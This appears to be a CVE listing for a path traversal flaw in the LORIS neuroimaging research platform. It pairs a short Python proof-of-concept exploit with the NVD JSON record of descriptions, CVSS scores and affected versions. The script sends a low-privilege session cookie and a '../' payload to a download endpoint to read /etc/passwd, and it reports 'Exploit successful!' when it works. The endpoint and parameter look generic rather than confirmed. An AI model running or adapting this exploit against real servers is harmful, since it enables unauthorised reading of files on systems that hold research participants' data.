CVE-2026-35446

import requests # Target URL configuration # The vulnerable endpoint is typically the FilesDownloadHandler target_url = "http://target-loris-site/files/download" # Attacker's low-privilege session cookie session_cookie = { "loris_cookie": "authenticated_low_priv_session_id" } # Malicious payload attempting to escape the download directory # Using ../ sequences to traverse to the root directory and read /etc/passwd payload = { "file": "../../../../../etc/passwd" } try: response = requests.get(target_url, cookies=session_cookie, params=payload) if response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-35446", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:24.217", "lastModified": "2026-04-21T20:04:43.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. From 24.0.0 to before 27.0.3 and 28.0.1, an incorrect order of operations in the FilesDownloadHandler could result in an attacker escaping the intended download directories. This vulnerability is fixed in 27.0.3 and 28.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-552"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.0.0", "versionEndIncluding": "27.0.2", "matchCriteriaId": "54A016B3-10EE-475A-AE81-B2B651F4F3B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D358B66A-04AC-44F2-8EF6-4332D8AC00F4"}]}]}], "references": [{"url": "https://github.com/aces/Loris/security/advisories/GHSA-47jj-7xfg-8759", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}